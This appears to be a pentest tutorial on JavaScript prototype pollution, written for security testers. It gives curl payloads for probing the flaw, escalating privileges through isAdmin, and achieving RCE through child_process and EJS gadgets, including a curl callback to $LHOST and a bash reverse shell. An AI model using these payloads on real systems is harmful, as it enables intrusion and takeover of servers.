Skip to content

Prototype Pollution

5 min read Created Sep 11, 2026 Last updated Sep 11, 2026

Prototype pollution exploits JavaScript's prototype chain by injecting properties into Object.prototype. When an application merges user input into objects without sanitizing key names, an attacker sets __proto__ or constructor.prototype properties that propagate to every object in the application. The impact depends on how the application uses inherited properties downstream: it ranges from denial of service and access control bypass to server-side remote code execution.

  • Identification sends __proto__ or constructor.prototype payloads via JSON or query strings and checks propagation.
  • child_process RCE pollutes shell and env properties to hijack Node.js spawn/fork calls.
  • EJS template RCE injects code through the outputFunctionName property on the next render call.
  • Access control bypass sets isAdmin or role properties on the prototype to escalate privileges.
  • Vulnerable libraries include lodash, merge, deep-extend, and qs query parsers.

The vulnerability exists in both client-side (browser) and server-side (Node.js) JavaScript. Server-side pollution is the higher-value target because it can reach child_process execution through gadgets in popular frameworks. Client-side pollution can chain into DOM-based XSS when polluted properties flow into dangerous sinks.

Identifying Prototype Pollution

Test any endpoint that accepts JSON objects or query parameters that get merged into server-side objects. Common vulnerable patterns include deep merge utilities, object spread with recursive assignment, and query string parsers that allow nested keys.

Send a pollution probe and check if the property propagates:

┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:$PORT/api/settings -X POST -H 'Content-Type: application/json' -d '{"__proto__": {"polluted": true}}'

Then request an endpoint that returns object properties and check if polluted appears on unrelated objects. Some frameworks expose the pollution directly in error responses or debug output. If __proto__ is filtered, try the constructor.prototype path:

┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:$PORT/api/settings -X POST -H 'Content-Type: application/json' -d '{"constructor": {"prototype": {"polluted": true}}}'

Query string pollution works on endpoints that use parsers like qs which support nested object notation:

┌──(kali㉿kali)-[~]
└─$ curl -sk 'http://$TARGET_IP:$PORT/api/search?__proto__[polluted]=true'

Server-Side RCE via child_process

Node.js applications that call child_process.spawn(), child_process.fork(), or child_process.exec() anywhere in their codebase can be exploited through prototype pollution. These functions read inherited properties from the options object when not explicitly set. Pollute shell and env properties to inject commands:

┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:$PORT/api/settings -X POST -H 'Content-Type: application/json' -d '{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/environ"}}'

A more direct approach uses the shell property. When child_process.spawn or child_process.fork is called without an explicit shell option, it inherits from the prototype. Set shell to true or a specific shell path, then inject via the env property:

┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:$PORT/api/settings -X POST -H 'Content-Type: application/json' -d '{"__proto__": {"shell": "/bin/bash", "execArgv": ["--eval=require(\"child_process\").execSync(\"curl http://$LHOST:$LPORT/$(whoami)\")"]}}'

Trigger the gadget by requesting any endpoint that causes the application to spawn a child process. This includes file processing, PDF generation, image manipulation, or any background job that forks a worker.

EJS Template Engine RCE

Applications using the EJS template engine are a reliable RCE target. EJS reads opts.outputFunctionName from the options object. If this property is inherited from a polluted prototype, it gets injected into the compiled template as raw code. Pollute it with a JavaScript payload:

┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:$PORT/api/settings -X POST -H 'Content-Type: application/json' -d '{"__proto__": {"outputFunctionName": "x;process.mainModule.require(\"child_process\").execSync(\"bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'\");var y"}}'

After pollution, trigger any page render that uses EJS. The polluted property gets interpolated into the template compilation step and executes on the next res.render() call. Pug and Handlebars have similar gadgets through their compiler options.

Access Control Bypass

Prototype pollution commonly bypasses authorization checks. When an application checks if (user.isAdmin) and that property is not explicitly set on the user object, it inherits from the prototype. Polluting isAdmin: true on the prototype grants admin access to every user object that does not have an explicit isAdmin property:

┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:$PORT/api/profile -X POST -H 'Content-Type: application/json' -d '{"__proto__": {"isAdmin": true, "role": "admin"}}'

This also works against status checks (verified, approved, paid) and feature flags. Any boolean or string property that the application reads from user objects without explicit initialization is exploitable.

Vulnerable Libraries

The most common sources of prototype pollution are recursive merge and deep clone utilities. Libraries known to have had pollution vulnerabilities include lodash (before 4.17.12), merge, deep-extend, defaults-deep, mixin-deep, and set-value. Express body parsers and query string parsers (qs) can also pass nested keys that reach merge operations. Check package.json or package-lock.json for vulnerable versions if you have file read access.

References